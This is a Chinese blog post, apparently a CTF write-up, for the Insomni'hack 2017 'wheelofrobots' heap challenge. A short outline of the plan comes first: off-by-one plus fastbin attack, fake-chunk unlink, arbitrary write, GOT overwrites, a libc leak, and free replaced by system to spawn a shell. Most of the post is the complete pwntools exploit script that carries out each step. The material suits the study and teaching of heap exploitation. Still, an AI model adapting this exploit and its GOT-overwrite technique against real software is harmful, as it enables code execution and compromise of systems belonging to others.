美文网首页
Insomni'hack 2017 wheelofrobots

Insomni'hack 2017 wheelofrobots

作者: Sadmess | 来源:发表于2019-04-16 00:32 被阅读0次

    题目分析

    详情见ctf-wiki,下图为符号表


    image.png

    利用思路

    • 利用 off by one 漏洞与 fastbin attack 分配 chunk 到 0x603138,进而可以控制 destructor_size的大小,从而实现任意长度堆溢出。这里我们将轮子 1 tinny 分配到这里。
    • 分别分配合适大小的物理相邻的 chunk,其中包括 destructor。借助上面可以任意长度堆溢出的漏洞,对 destructor 对应的 chunk 进行溢出,将其溢出到下一个物理相邻的 chunk,从而实现对 0x6030E8 处 fake chunk 进行 unlink 的效果,这时 bss 段的 destructor 指向 0x6030D0。从而,我们可以再次实现覆盖 bss 段几乎所有的内容。
    • 构造一个任意地址写的漏洞。通过上述的漏洞将已经分配的轮子 1 tinny 指针覆盖为 destructor 的地址,那么此后编辑 tinny 即在编辑 destructor 的内容,进而当我们再次编辑 destructor 时就相当于任意低地址写。
    • 由于程序只是在最后启动机器人的时候,才会随机输出一些轮子的内容,并且一旦输出,程序就会退出,由于这部分我们并不能控制,所以我们将 exit() patch 为一个 ret 地址。这样的话,我们就可以多次输出内容了,从而可以泄漏一些 got 表地址。
    • 在泄漏了相应的内容后,我们便可以得到 libc 基地址,system 地址,libc 中的 /bin/sh 地址。进而我们修改 free@got 为 system 地址。从而当再次释放某块内存时,便可以启动 shell。

    exp

    堆这块我还在理解加上ctfwiki注释过于详细,就不加给自己看的小白补充了

    from pwn import *
    context.binary = "./wheelofrobots"
    robots = ELF('./wheelofrobots')
    p = process("./wheelofrobots")
    log.info('PID: ' + str(proc.pidof(p)[0]))
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    
    '''
    def offset_bin_main_arena(idx):
        word_bytes = context.word_size / 8
        offset = 4  # lock
        offset += 4  # flags
        offset += word_bytes * 10  # offset fastbin
        offset += word_bytes * 2  # top,last_remainder
        offset += idx * 2 * word_bytes  # idx
        offset -= word_bytes * 2  # bin overlap
        return offset
    '''
    
    def add(idx, size=0):
        p.recvuntil('Your choice :')
        p.sendline('1')
        p.recvuntil('Your choice :')
        p.sendline(str(idx))
        if idx == 2:
            p.recvuntil("Increase Bender's intelligence: ")
            p.sendline(str(size))
        elif idx == 3:
            p.recvuntil("Increase Robot Devil's cruelty: ")
            p.sendline(str(size))
        elif idx == 6:
            p.recvuntil("Increase Destructor's powerful: ")
            p.sendline(str(size))
    
    
    def remove(idx):
        p.recvuntil('Your choice :')
        p.sendline('2')
        p.recvuntil('Your choice :')
        p.sendline(str(idx))
    
    
    def change(idx, name):
        p.recvuntil('Your choice :')
        p.sendline('3')
        p.recvuntil('Your choice :')
        p.sendline(str(idx))
        p.recvuntil("Robot's name: \n")
        p.send(name)
    
    
    def start_robot():
        p.recvuntil('Your choice :')
        p.sendline('4')
    
    
    def overflow_benderinuse(inuse):
        p.recvuntil('Your choice :')
        p.sendline('1')
        p.recvuntil('Your choice :')
        p.send('9999' + inuse)
    
    
    def write(where, what):
        change(1, p64(where))
        change(6, p64(what))
    
    
    def exp():
        print "step 1"
    
        # add a fastbin chunk 0x20 and free it
        # so it is in fastbin, idx2->NULL
        add(2, 1)  # idx2
        remove(2)
    
        # overflow bender inuse with 1
        overflow_benderinuse('\x01')
    
        # change bender's fd to 0x603138, point to bender's size
        # now fastbin 0x20, idx2->0x603138->NULL
        change(2, p64(0x603138))
    
        # in order add bender again
        overflow_benderinuse('\x00')
    
        # add bender again, fastbin 0x603138->NULL
        add(2, 1)
    
        # in order to malloc chunk at 0x603138
        # we need to bypass the fastbin size check, i.e. set *0x603140=0x20
        # it is at Robot Devil
        add(3, 0x20)
    
        # trigger malloc, set tinny point to 0x603148
        add(1)
    
        # wheels must <= 3
        remove(2)
        remove(3)
        print 'step 2'
    
        # alloc Destructor size 60->0x50, chunk content 0x40
        add(6, 3)
    
        # alloc devil, size=20*7=140, bigger than fastbin
        add(3, 7)
    
        # edit destructor's size to 1000 by tinny
        change(1, p64(1000))
    
        # place fake chunk at destructor's pointer
        fakechunk_addr = 0x6030E8
        fakechunk = p64(0) + p64(0x20) + p64(fakechunk_addr - 0x18) + p64(
            fakechunk_addr - 0x10) + p64(0x20)
        fakechunk = fakechunk.ljust(0x40, 'a')
        fakechunk += p64(0x40) + p64(0xa0)
        change(6, fakechunk)
    
        # trigger unlink
        remove(3)
    
        print 'step 3'
    
        # make 0x6030F8 point to 0x6030E8
        payload = p64(0) * 2 + 0x18 * 'a' + p64(0x6030E8)
        change(6, payload)
    
        print 'step 4'
    
        # make exit just as return
        write(robots.got['exit'], 0x401954)
    
        print 'step 5'
    
        # set wheel cnt =3, 0x603130 in order to start robot
        write(0x603130, 3)
    
        # set destructor point to puts@got
        change(1, p64(robots.got['puts']))
        start_robot()
        p.recvuntil('New hands great!! Thx ')
        puts_addr = p.recvuntil('!\n', drop=True).ljust(8, '\x00')
        puts_addr = u64(puts_addr)
        log.success('puts addr: ' + hex(puts_addr))
        libc_base = puts_addr - libc.symbols['puts']
        log.success('libc base: ' + hex(libc_base))
        system_addr = libc_base + libc.symbols['system']
        binsh_addr = libc_base + next(libc.search('/bin/sh'))
    
        # make free->system
        write(robots.got['free'], system_addr)
    
        # make destructor point to /bin/sh addr
        write(0x6030E8, binsh_addr)
    
        # get shell
        remove(6)
        
        p.interactive()
    
    
    if __name__ == "__main__":
        exp()
    

    相关文章

      网友评论

          本文标题:Insomni'hack 2017 wheelofrobots

          本文链接:https://www.haomeiwen.com/subject/qfgmwqtx.html